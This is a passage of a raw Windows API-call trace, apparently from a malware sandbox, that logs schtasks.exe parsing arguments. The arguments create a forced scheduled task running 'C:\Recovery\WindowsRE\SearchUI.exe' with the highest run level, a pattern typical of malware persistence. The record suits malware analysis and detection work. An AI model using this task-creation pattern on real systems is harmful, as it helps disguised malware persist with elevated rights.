_BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tr|") returned 4 [0125.854] lstrlenW (lpString="|delete|") returned 8 [0125.854] lstrlenW (lpString="|tr|") returned 4 [0125.854] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0125.854] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.854] lstrlenW (lpString="query") returned 5 [0125.854] lstrlenW (lpString="query") returned 5 [0125.854] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.854] lstrlenW (lpString="tr") returned 2 [0125.854] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.854] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|query|") returned 7 [0125.854] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tr|") returned 4 [0125.854] lstrlenW (lpString="|query|") returned 7 [0125.854] lstrlenW (lpString="|tr|") returned 4 [0125.854] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0125.854] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.854] lstrlenW (lpString="change") returned 6 [0125.854] lstrlenW (lpString="change") returned 6 [0125.854] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.854] lstrlenW (lpString="tr") returned 2 [0125.854] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.855] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|change|") returned 8 [0125.855] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tr|") returned 4 [0125.855] lstrlenW (lpString="|change|") returned 8 [0125.855] lstrlenW (lpString="|tr|") returned 4 [0125.855] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0125.855] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.855] lstrlenW (lpString="run") returned 3 [0125.855] lstrlenW (lpString="run") returned 3 [0125.855] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.855] lstrlenW (lpString="tr") returned 2 [0125.855] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.855] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|run|") returned 5 [0125.855] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tr|") returned 4 [0125.855] lstrlenW (lpString="|run|") returned 5 [0125.855] lstrlenW (lpString="|tr|") returned 4 [0125.855] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0125.855] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.855] lstrlenW (lpString="end") returned 3 [0125.855] lstrlenW (lpString="end") returned 3 [0125.855] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.855] lstrlenW (lpString="tr") returned 2 [0125.855] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.855] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|end|") returned 5 [0125.855] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tr|") returned 4 [0125.855] lstrlenW (lpString="|end|") returned 5 [0125.855] lstrlenW (lpString="|tr|") returned 4 [0125.855] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0125.856] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.856] lstrlenW (lpString="showsid") returned 7 [0125.856] lstrlenW (lpString="showsid") returned 7 [0125.856] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.856] lstrlenW (lpString="tr") returned 2 [0125.856] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.856] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|showsid|") returned 9 [0125.856] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tr|") returned 4 [0125.856] lstrlenW (lpString="|showsid|") returned 9 [0125.856] lstrlenW (lpString="|tr|") returned 4 [0125.856] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0125.856] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.856] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.856] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.856] lstrlenW (lpString="/tr") returned 3 [0125.856] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0125.856] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.856] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.856] lstrlenW (lpString="/tr") returned 3 [0125.856] GetProcessHeap () returned 0x1fba65f0000 [0125.856] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x8) returned 0x1fba65f4740 [0125.856] GetProcessHeap () returned 0x1fba65f0000 [0125.856] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb3d0 [0125.856] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.856] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.856] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.856] lstrlenW (lpString="-/") returned 2 [0125.856] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0125.856] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.857] StrChrIW (lpStart="'C:\\Recovery\\WindowsRE\\SearchUI.exe'", wMatch=0x3a) returned=":\\Recovery\\WindowsRE\\SearchUI.exe'" [0125.857] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.857] GetProcessHeap () returned 0x1fba65f0000 [0125.857] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4760 [0125.857] _memicmp (_Buf1=0x1fba65f4760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.857] GetProcessHeap () returned 0x1fba65f0000 [0125.857] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0xe) returned 0x1fba65fa8b0 [0125.857] GetProcessHeap () returned 0x1fba65f0000 [0125.857] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65fab10 [0125.857] _memicmp (_Buf1=0x1fba65fab10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.857] GetProcessHeap () returned 0x1fba65f0000 [0125.857] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x4c) returned 0x1fba65f3b30 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] lstrlenW (lpString="'C") returned 2 [0125.857] lstrlenW (lpString="-/") returned 2 [0125.857] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.857] GetProcessHeap () returned 0x1fba65f0000 [0125.857] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x4a) returned 0x1fba65f3b90 [0125.857] GetProcessHeap () returned 0x1fba65f0000 [0125.857] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb640 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.857] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.858] lstrlenW (lpString="/rl") returned 3 [0125.858] lstrlenW (lpString="-/") returned 2 [0125.858] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.858] lstrlenW (lpString="?") returned 1 [0125.858] lstrlenW (lpString="?") returned 1 [0125.858] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.858] lstrlenW (lpString="rl") returned 2 [0125.858] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.858] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|?|") returned 3 [0125.858] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|rl|") returned 4 [0125.858] lstrlenW (lpString="|?|") returned 3 [0125.858] lstrlenW (lpString="|rl|") returned 4 [0125.858] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.858] lstrlenW (lpString="create") returned 6 [0125.858] lstrlenW (lpString="create") returned 6 [0125.858] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.858] lstrlenW (lpString="rl") returned 2 [0125.858] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.858] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|create|") returned 8 [0125.858] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|rl|") returned 4 [0125.858] lstrlenW (lpString="|create|") returned 8 [0125.858] lstrlenW (lpString="|rl|") returned 4 [0125.858] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0125.858] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.858] lstrlenW (lpString="delete") returned 6 [0125.858] lstrlenW (lpString="delete") returned 6 [0125.858] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.859] lstrlenW (lpString="rl") returned 2 [0125.859] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.859] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|delete|") returned 8 [0125.859] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|rl|") returned 4 [0125.859] lstrlenW (lpString="|delete|") returned 8 [0125.859] lstrlenW (lpString="|rl|") returned 4 [0125.859] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0125.859] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.859] lstrlenW (lpString="query") returned 5 [0125.859] lstrlenW (lpString="query") returned 5 [0125.859] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.859] lstrlenW (lpString="rl") returned 2 [0125.859] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.859] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|query|") returned 7 [0125.859] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|rl|") returned 4 [0125.859] lstrlenW (lpString="|query|") returned 7 [0125.859] lstrlenW (lpString="|rl|") returned 4 [0125.859] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0125.859] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.859] lstrlenW (lpString="change") returned 6 [0125.859] lstrlenW (lpString="change") returned 6 [0125.859] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.859] lstrlenW (lpString="rl") returned 2 [0125.859] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.859] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|change|") returned 8 [0125.859] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|rl|") returned 4 [0125.860] lstrlenW (lpString="|change|") returned 8 [0125.860] lstrlenW (lpString="|rl|") returned 4 [0125.860] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0125.860] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.860] lstrlenW (lpString="run") returned 3 [0125.860] lstrlenW (lpString="run") returned 3 [0125.860] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.860] lstrlenW (lpString="rl") returned 2 [0125.860] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.860] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|run|") returned 5 [0125.860] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|rl|") returned 4 [0125.860] lstrlenW (lpString="|run|") returned 5 [0125.860] lstrlenW (lpString="|rl|") returned 4 [0125.860] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0125.860] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.860] lstrlenW (lpString="end") returned 3 [0125.860] lstrlenW (lpString="end") returned 3 [0125.860] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.860] lstrlenW (lpString="rl") returned 2 [0125.860] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.860] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|end|") returned 5 [0125.860] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|rl|") returned 4 [0125.860] lstrlenW (lpString="|end|") returned 5 [0125.860] lstrlenW (lpString="|rl|") returned 4 [0125.860] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0125.860] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.860] lstrlenW (lpString="showsid") returned 7 [0125.860] lstrlenW (lpString="showsid") returned 7 [0125.861] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.861] lstrlenW (lpString="rl") returned 2 [0125.861] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.861] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|showsid|") returned 9 [0125.861] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|rl|") returned 4 [0125.861] lstrlenW (lpString="|showsid|") returned 9 [0125.861] lstrlenW (lpString="|rl|") returned 4 [0125.861] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] lstrlenW (lpString="/rl") returned 3 [0125.861] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] lstrlenW (lpString="/rl") returned 3 [0125.861] GetProcessHeap () returned 0x1fba65f0000 [0125.861] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x8) returned 0x1fba65f4780 [0125.861] GetProcessHeap () returned 0x1fba65f0000 [0125.861] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb7f0 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] lstrlenW (lpString="HIGHEST") returned 7 [0125.861] lstrlenW (lpString="-/") returned 2 [0125.861] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.861] lstrlenW (lpString="HIGHEST") returned 7 [0125.861] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0125.861] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.862] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.862] lstrlenW (lpString="HIGHEST") returned 7 [0125.862] GetProcessHeap () returned 0x1fba65f0000 [0125.862] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x10) returned 0x1fba65fab70 [0125.862] GetProcessHeap () returned 0x1fba65f0000 [0125.862] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb8b0 [0125.862] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.862] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.862] lstrlenW (lpString="/f") returned 2 [0125.862] lstrlenW (lpString="-/") returned 2 [0125.862] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.862] lstrlenW (lpString="?") returned 1 [0125.862] lstrlenW (lpString="?") returned 1 [0125.862] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.862] lstrlenW (lpString="f") returned 1 [0125.862] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.862] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|?|") returned 3 [0125.862] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|f|") returned 3 [0125.862] lstrlenW (lpString="|?|") returned 3 [0125.862] lstrlenW (lpString="|f|") returned 3 [0125.862] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0125.862] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.862] lstrlenW (lpString="create") returned 6 [0125.862] lstrlenW (lpString="create") returned 6 [0125.863] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.863] lstrlenW (lpString="f") returned 1 [0125.863] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.863] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|create|") returned 8 [0125.863] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|f|") returned 3 [0125.863] lstrlenW (lpString="|create|") returned 8 [0125.863] lstrlenW (lpString="|f|") returned 3 [0125.863] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0125.863] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.863] lstrlenW (lpString="delete") returned 6 [0125.863] lstrlenW (lpString="delete") returned 6 [0125.863] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.863] lstrlenW (lpString="f") returned 1 [0125.863] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.863] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|delete|") returned 8 [0125.863] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|f|") returned 3 [0125.863] lstrlenW (lpString="|delete|") returned 8 [0125.863] lstrlenW (lpString="|f|") returned 3 [0125.863] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0125.863] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.863] lstrlenW (lpString="query") returned 5 [0125.863] lstrlenW (lpString="query") returned 5 [0125.863] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.863] lstrlenW (lpString="f") returned 1 [0125.864] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.864] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|query|") returned 7 [0125.864] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|f|") returned 3 [0125.864] lstrlenW (lpString="|query|") returned 7 [0125.864] lstrlenW (lpString="|f|") returned 3 [0125.864] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0125.864] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.864] lstrlenW (lpString="change") returned 6 [0125.864] lstrlenW (lpString="change") returned 6 [0125.864] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.864] lstrlenW (lpString="f") returned 1 [0125.864] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.864] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|change|") returned 8 [0125.864] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|f|") returned 3 [0125.864] lstrlenW (lpString="|change|") returned 8 [0125.864] lstrlenW (lpString="|f|") returned 3 [0125.864] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0125.864] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.864] lstrlenW (lpString="run") returned 3 [0125.864] lstrlenW (lpString="run") returned 3 [0125.864] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.864] lstrlenW (lpString="f") returned 1 [0125.864] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.864] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|run|") returned 5 [0125.864] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|f|") returned 3 [0125.864] lstrlenW (lpString="|run|") returned 5 [0125.865] lstrlenW (lpString="|f|") returned 3 [0125.865] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0125.865] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.865] lstrlenW (lpString="end") returned 3 [0125.865] lstrlenW (lpString="end") returned 3 [0125.865] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.865] lstrlenW (lpString="f") returned 1 [0125.865] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.865] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|end|") returned 5 [0125.865] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|f|") returned 3 [0125.865] lstrlenW (lpString="|end|") returned 5 [0125.865] lstrlenW (lpString="|f|") returned 3 [0125.865] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0125.865] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.865] lstrlenW (lpString="showsid") returned 7 [0125.865] lstrlenW (lpString="showsid") returned 7 [0125.865] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.865] lstrlenW (lpString="f") returned 1 [0125.865] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.865] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|showsid|") returned 9 [0125.865] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|f|") returned 3 [0125.865] lstrlenW (lpString="|showsid|") returned 9 [0125.865] lstrlenW (lpString="|f|") returned 3 [0125.865] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0125.865] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.865] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.865] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.866] lstrlenW (lpString="/f") returned 2 [0125.866] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0125.866] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.866] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.866] lstrlenW (lpString="/f") returned 2 [0125.866] GetProcessHeap () returned 0x1fba65f0000 [0125.866] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x6) returned 0x1fba65f47a0 [0125.866] GetProcessHeap () returned 0x1fba65f0000 [0125.866] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb7c0 [0125.866] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.866] GetProcessHeap () returned 0x1fba65f0000 [0125.866] GetProcessHeap () returned 0x1fba65f0000 [0125.866] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4360) returned 1 [0125.866] GetProcessHeap () returned 0x1fba65f0000 [0125.866] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4360) returned 0x8 [0125.866] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4360) returned 1 [0125.866] GetProcessHeap () returned 0x1fba65f0000 [0125.866] GetProcessHeap () returned 0x1fba65f0000 [0125.866] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb910) returned 1 [0125.866] GetProcessHeap () returned 0x1fba65f0000 [0125.866] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb910) returned 0x20 [0125.867] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb910) returned 1 [0125.867] GetProcessHeap () returned 0x1fba65f0000 [0125.867] GetProcessHeap () returned 0x1fba65f0000 [0125.867] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f46e0) returned 1 [0125.867] GetProcessHeap () returned 0x1fba65f0000 [0125.867] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f46e0) returned 0x12 [0125.867] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f46e0) returned 1 [0125.867] GetProcessHeap () returned 0x1fba65f0000 [0125.867] GetProcessHeap () returned 0x1fba65f0000 [0125.867] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb6a0) returned 1 [0125.867] GetProcessHeap () returned 0x1fba65f0000 [0125.867] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, 